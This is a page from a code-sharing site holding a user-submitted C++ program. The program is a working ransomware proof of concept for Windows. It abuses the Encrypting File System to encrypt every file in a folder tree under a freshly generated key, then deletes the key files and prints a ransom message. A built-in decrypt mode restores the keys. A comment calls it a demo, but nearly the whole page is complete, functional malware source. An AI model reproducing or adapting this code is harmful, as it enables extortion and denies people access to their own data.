Ask Question

Name:
Title:
Your Question:

Answer Question

Name:
Your Answer:
User Submitted Source Code!


Description:
  Sample
Language: C/C++
Code:
#define _CRT_SECURE_NO_WARNINGS  // Suppress errors for use of fopen, wcscat, etc.

/*
CREDITS: Some code was adapted from:
"How to create a self-signed certificate with CryptoAPI (C++)" (MSDN blog), Alejandro Campos Magencio, March 16, 2009.
https://blogs.msdn.microsoft.com/alejacma/2009/03/16/how-to-create-a-self-signed-certificate-with-cryptoapi-c/
*/
#include <cstdlib>
#include <cstdio>
#include <ctime>
#include <Windows.h>
#include <sddl.h>
#include <Shlobj.h>
#include <Lmcons.h>   // for UNLEN...
#include <io.h>
#include <fcntl.h>
#include <sys/stat.h>

#define LOG(x) { FILE *fp= fopen("C:\\tmp\\log.txt", "a"); fputws(x,fp); fclose(fp); }

#pragma comment(lib,"crypt32")

#define MAX_PATH_EXTENDED 0x8000

#define RSA_KEY_SIZE 2048
#define KEYNAME_LEN 16

#define MAGIC L"FOOBAR"
#define RANSOM_MESSAGE L"Your files are encrypted, please contact ... to decrypt them\nPlease copy+paste the below to a file and send to the above contact point:\n(Of source, this is a demo, so the key isn't encrypted...)\n\n" MAGIC L"\n%s"

#define MAX_LINE_LEN 10000
#define MAX_ENC_KEY_LEN 10000
wchar_t encrypted_key[MAX_ENC_KEY_LEN];

UINT64 encrypt(wchar_t* folder, wchar_t* file)
{
     wchar_t fn[MAX_PATH_EXTENDED];
     wcscpy(fn, folder);
     wcscat(fn, L"\\");
     wcscat(fn, file);

     LOG(L"Encrypting file: ");
     LOG(fn);
     LOG(L"\n");

     EncryptFileW(fn);
     return 1;
}

typedef UINT64(*file_callback_t)(wchar_t* folder, wchar_t* filename);

UINT64 sum_f = 0;
UINT64 sum_b = 0;
UINT64 last_sum_b_reported = 0;

UINT64 enum_folder(wchar_t* folder, file_callback_t file_callback, bool recursive)
{
     wchar_t* folder_wildcard = new wchar_t[MAX_PATH_EXTENDED];
     wcscpy(folder_wildcard, folder);
     wcscat((wchar_t*)folder_wildcard, L"\\*");
     WIN32_FIND_DATAW d;
     HANDLE f;
     UINT64 rc = 0;

     f = FindFirstFileW(folder_wildcard, &d);

     if (f == INVALID_HANDLE_VALUE)
     {
          wprintf(L"Can't open folder %s\n", folder);
          return 0;
     }
     do
     {
          if (d.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
          {
               //printf("  %s   <DIR>\n", ffd.cFileName);
               if (recursive && (wcscmp(d.cFileName, L".") != 0) && (wcscmp(d.cFileName, L"..") != 0))
               {
                    wchar_t* subfolder = new wchar_t[MAX_PATH_EXTENDED];
                    wcscpy(subfolder, folder);
                    wcscat(subfolder, L"\\");
                    wcscat(subfolder, d.cFileName);
                    rc += enum_folder(subfolder, file_callback, recursive);
                    delete[] subfolder;
               }
          }
          else
          {
               //printf("  %s   \n", ffd.cFileName);
               rc += (*file_callback)(folder, d.cFileName);
               sum_f += 1;
               sum_b += d.nFileSizeLow;
               if (sum_b >= last_sum_b_reported + 1000000)
               {
                    printf("Processed %lld files and %lld bytes so far\n", sum_f, sum_b);
                    last_sum_b_reported = sum_b;
               }
          }
     } while (FindNextFileW(f, &d) != 0);

     FindClose(f);
     delete[] folder_wildcard;

     return rc;
}

SID* get_sid()
{
     static SID* sid = NULL;

     if (sid == NULL)
     {
          DWORD sid_len = 0;
          SID_NAME_USE use;
          wchar_t user[UNLEN + 1];
          DWORD user_len = UNLEN + 1;
          DWORD ref_domain_len = 0;
          if (!GetUserNameW(user, &user_len))
          {
               wprintf(L"Error in GetUserName : 0x%08x\n", GetLastError());
               LOG(L"Error in GetUserName\n");
               return NULL;
          }
          if ((!LookupAccountNameW(NULL, user, NULL, &sid_len, NULL, &ref_domain_len, &use)) && (GetLastError() != ERROR_INSUFFICIENT_BUFFER))
          {
               wprintf(L"Error in LookupAccountName : 0x%08x\n", GetLastError());
               LOG(L"Error in LookupAccountName\n");
               return NULL;
          }
          sid = (SID*)new BYTE[sid_len];
          wchar_t* ref_domain = new wchar_t[ref_domain_len];
          if (!LookupAccountNameW(NULL, user, sid, &sid_len, ref_domain, &ref_domain_len, &use))
          {
               delete[] sid;
               wprintf(L"Error in LookupAccountName : 0x%08x\n", GetLastError());
               LOG(L"Error in LookupAccountName(2)\n");
               sid = NULL;
          }
          delete[] ref_domain;
     }
     return sid;
}

bool make_key(wchar_t* filename)
{
     HCRYPTPROV hCryptProv = NULL;
     HCRYPTKEY hKey = NULL;

     wchar_t keyname[KEYNAME_LEN + 1];
     for (int i = 0; i < KEYNAME_LEN; i++)
     {
          keyname[i] = L'a' + (rand() % (L'z' - L'a' + 1));
     }
     keyname[KEYNAME_LEN] = L'\0';
     wprintf(L"Key name is: %s\n", keyname);
     LOG(L"Key name is: ");
     LOG(keyname);
     LOG(L"\n");

     __try
     {
          // Try to create a new key container
          // This creates the file in %APPDATA%\Microsoft\Crypto\RSA\$$$SID$$$
          if (!CryptAcquireContextW(&hCryptProv, keyname, NULL, PROV_RSA_FULL, CRYPT_NEWKEYSET))
          {
               wprintf(L"Error in CryptAcquireContext: 0x%08x\n", GetLastError());
               LOG(L"Error in CryptAcquireContext\n");
               return false;
          }

          // Generate new key pair
          if (!CryptGenKey(hCryptProv, AT_KEYEXCHANGE, RSA_KEY_SIZE << 16, &hKey))
          {
               wprintf(L"Error in CryptGenKey: 0x%08x\n", GetLastError());
               LOG(L"Error in CryptGenKey\n");
               return false;
          }
          DWORD size = MAX_PATH_EXTENDED;
          BYTE fn[MAX_PATH_EXTENDED];
          if (!CryptGetProvParam(hCryptProv, PP_UNIQUE_CONTAINER, fn, &size, 0))
          {
               printf("Error in CryptGetProvParam: 0x%08x\n", GetLastError());
               LOG(L"Error in CryptGetProvParam\n");
               return false;
          }
          mbstowcs(filename, (const char*)fn, MAX_PATH_EXTENDED);
          wprintf(L"File name is %s\n", filename);
          LOG(L"File name is ");
          LOG(filename);
          LOG(L"\n");
     }
     __finally
     {
          // Clean up  

          if (hKey)
          {
               CryptDestroyKey(hKey);
          }
          if (hCryptProv)
          {
               CryptReleaseContext(hCryptProv, 0);
          }
     }

     LOG(L"So far so good (1)\n");

     PCCERT_CONTEXT pCertContext = NULL;
     BYTE *pbEncoded = NULL;
     HCERTSTORE hStore = NULL;

     __try
     {
          // Encode certificate Subject
          wchar_t pszX500[256] = L"CN=CertFor-";
          wcscat(pszX500, keyname);

          DWORD cbEncoded = 0;
          CertStrToNameW(X509_ASN_ENCODING, pszX500, CERT_X500_NAME_STR, NULL, pbEncoded, &cbEncoded, NULL);
          pbEncoded = new BYTE[cbEncoded];
          CertStrToNameW(X509_ASN_ENCODING, pszX500, CERT_X500_NAME_STR, NULL, pbEncoded, &cbEncoded, NULL);

          LOG(L"So far so good (2)\n");

          // Prepare certificate Subject for self-signed certificate
          CERT_NAME_BLOB SubjectIssuerBlob;
          memset(&SubjectIssuerBlob, 0, sizeof(SubjectIssuerBlob));
          SubjectIssuerBlob.cbData = cbEncoded;
          SubjectIssuerBlob.pbData = pbEncoded;

          // Prepare key provider structure for self-signed certificate
          CRYPT_KEY_PROV_INFO KeyProvInfo;
          memset(&KeyProvInfo, 0, sizeof(KeyProvInfo));

          KeyProvInfo.pwszContainerName = keyname;
          KeyProvInfo.pwszProvName = NULL;
          KeyProvInfo.dwProvType = PROV_RSA_FULL;
          KeyProvInfo.dwFlags = CRYPT_MACHINE_KEYSET;
          KeyProvInfo.cProvParam = 0;
          KeyProvInfo.rgProvParam = NULL;
          KeyProvInfo.dwKeySpec = AT_KEYEXCHANGE;

          // Prepare algorithm structure for self-signed certificate
          CRYPT_ALGORITHM_IDENTIFIER SignatureAlgorithm;
          memset(&SignatureAlgorithm, 0, sizeof(SignatureAlgorithm));
          SignatureAlgorithm.pszObjId = (LPSTR)szOID_RSA_SHA256RSA;

          LOG(L"So far so good (3)\n");

          // Create self-signed certificate
          // This creates the file in C:\ProgramData\Microsoft\Crypto\RSA\MachineKeys\$$$SID$$$
          pCertContext = CertCreateSelfSignCertificate(NULL, &SubjectIssuerBlob, 0, &KeyProvInfo, &SignatureAlgorithm, NULL, NULL, NULL);
          if (!pCertContext)
          {
               wprintf(L"Error in CertCreateSelfSignCertificate: 0x%08x\n", GetLastError());
               LOG(L"Error in CertCreateSelfSignCertificate\n");
               return false;
          }

          hStore = CertOpenSystemStoreW(NULL, L"MY");
          if (!hStore)
          {
               wprintf(L"Error in CertOpenSystemStore: 0x%08x\n", GetLastError());
               LOG(L"Error in CertOpenSystemStore\n");
               return false;
          }

          // Add self-signed cert to the store
          if (!CertAddCertificateContextToStore(hStore, pCertContext, CERT_STORE_ADD_REPLACE_EXISTING, NULL))
          {
               wprintf(L"Error in CertAddCertificateContextToStore: 0x%08x\n", GetLastError());
               LOG(L"Error in CertAddCertificateContextToStore\n");
               return false;
          }

          LOG(L"So far so good (4)\n");

          EFS_CERTIFICATE_BLOB cert_blob;
          cert_blob.pbData = pCertContext->pbCertEncoded;
          cert_blob.cbData = pCertContext->cbCertEncoded;
          cert_blob.dwCertEncodingType = pCertContext->dwCertEncodingType;

          //printf("cert_blob.cbData=%d\n", cert_blob.cbData);
          //printf("cert_blob.dwCertEncodingType=%d\n", cert_blob.dwCertEncodingType);

          ENCRYPTION_CERTIFICATE cert;
          cert.cbTotalLength = sizeof(ENCRYPTION_CERTIFICATE);
          cert.pCertBlob = &cert_blob;
          cert.pUserSid = get_sid();

          DWORD rc = SetUserFileEncryptionKey(&cert);
          if (rc != ERROR_SUCCESS)
          {
               wprintf(L"Error in SetUserFileEncryptionKey: 0x%08x\n", rc);
               LOG(L"Error in SetUserFileEncryptionKey\n");
               return false;
          }

     }
     __finally
     {
          // Clean up

          if (pbEncoded)
          {
               delete[] pbEncoded;
          }

          if (pCertContext)
          {
               CertFreeCertificateContext(pCertContext);
          }

          if (hStore)
          {
               CertCloseStore(hStore, 0);
          }
     }

     return true;
}


extern "C" DWORD WINAPI FlushEfsCache(PVOID);

void delete_file(wchar_t* file)
{
     if (!DeleteFileW(file))
     {
          LOG(L"Error deleting ");
          LOG(file);
          LOG(L"\n");
     }
}


void get_key(wchar_t* file)
{
     LOG(L"In get_key, about to read file ");
     LOG(file);
     LOG(L"\n");

     int fd = _wopen(file, _O_BINARY | _O_RDONLY);
     if (fd == -1)
     {
          LOG(L"Error in _wopen ");
          LOG(file);
          wchar_t e[100];
          wsprintfW(e, L" (errno=%d)\n", errno);
          LOG(e);
          LOG(L"  -- writing key as if it was C:\\tmp\\dummy_file.bin\n");
          wcscat(encrypted_key, L"C:\\tmp\\dummy_file.bin");
          wcscat(encrypted_key, L"\n");
          wcscat(encrypted_key, L"");
          wcscat(encrypted_key, L"\n");
          return;
     }
     struct _stat st;
     _fstat(fd, &st);
     BYTE* file_data = new BYTE[st.st_size];
     _read(fd, file_data, st.st_size);
     _close(fd);

     LOG(L"In get_key, done reading file\n");

     wchar_t* encrypted_key_raw = new wchar_t[2 * st.st_size + 1];
     for (int i = 0; i < st.st_size; i++)
     {
          wsprintfW(encrypted_key_raw + 2 * i, L"%02x", file_data[i]);
     }
     wcscat(encrypted_key, file);
     wcscat(encrypted_key, L"\n");
     wcscat(encrypted_key, encrypted_key_raw);
     wcscat(encrypted_key, L"\n");
}

void chomp(wchar_t* str)
{
     if (str[wcslen(str) - 1] == L'\n')
     {
          str[wcslen(str) - 1] = L'\0';
     }
}

void restore_file(FILE* fp)
{
     wchar_t filename[MAX_PATH_EXTENDED];
     wchar_t filedata[MAX_ENC_KEY_LEN];
     fgetws(filename, MAX_PATH_EXTENDED, fp);
     chomp(filename);
     fgetws(filedata, MAX_ENC_KEY_LEN, fp);
     chomp(filedata);
     FILE* fp2 = _wfopen(filename, L"wb+");
     for (int i = 0; filedata[i] != L'\0'; i += 2)
     {
          wchar_t hex[3];
          hex[0] = filedata[i];
          hex[1] = filedata[i + 1];
          hex[2] = L'\0';
          fputc((char)wcstol(hex, NULL, 16), fp2);
     }
     fclose(fp2);
}

int wmain(int argc, wchar_t* argv[])
{
     srand((unsigned int)time(NULL));

     if (argc < 2)  // Usage
     {
          wprintf(L"Usage: %s encrypt folder - encrypt\n       %s decrypt keyfile - decrypt\n\n\nCompilation time: %S %S\n", argv[0], argv[0], __DATE__, __TIME__);
          return -1;
     }
     else if ((argc == 3) && (wcscmp(argv[1], L"encrypt") == 0))  // Encrypt
     {
          wchar_t filename[MAX_PATH_EXTENDED];
          if (!make_key(filename))
          {
               wprintf(L"main() aborting...\n");
               return -1;
          }

          wchar_t* sidstr = NULL;
          ConvertSidToStringSidW(get_sid(), (LPWSTR*)&sidstr);

          wchar_t* appdata = NULL;
          SHGetKnownFolderPath(FOLDERID_RoamingAppData, 0, NULL, &appdata);

          wchar_t file1[MAX_PATH_EXTENDED];
          wsprintfW(file1, L"%s\\Microsoft\\Crypto\\RSA\\%s\\%s", appdata, sidstr, filename);

          wchar_t* programdata = NULL;
          SHGetKnownFolderPath(FOLDERID_ProgramData, 0, NULL, &programdata);

          wchar_t file2[MAX_PATH_EXTENDED];
          wsprintfW(file2, L"%s\\Microsoft\\Crypto\\RSA\\MachineKeys\\%s", programdata, filename);

          encrypted_key[0] = '\0';
          get_key(file1);
          get_key(file2);

          enum_folder(argv[2], &encrypt, true);

          delete_file(file1);
          delete_file(file2);

          FlushEfsCache(NULL);

          wprintf(RANSOM_MESSAGE, encrypted_key);

          return 0;
     }
     else if ((argc == 3) && (wcscmp(argv[1], L"decrypt") == 0))  // Decrypt
     {
          FILE* fp = _wfopen(argv[2], L"r");
          wchar_t line[MAX_LINE_LEN];
          while (!feof(fp))
          {
               fgetws(line, MAX_LINE_LEN, fp);
               chomp(line);
               if (wcscmp(line, MAGIC) == 0)
               {
                    restore_file(fp);
                    restore_file(fp);
                    return 0;
               }
          }
          wprintf(L"Can't find magic in file - perhaps it's the wrong file?\n");
          return -1;
     }
     else
     {
          wprintf(L"Can't parse command line, sorry...\n");
          return -1;
     }
}
Comments: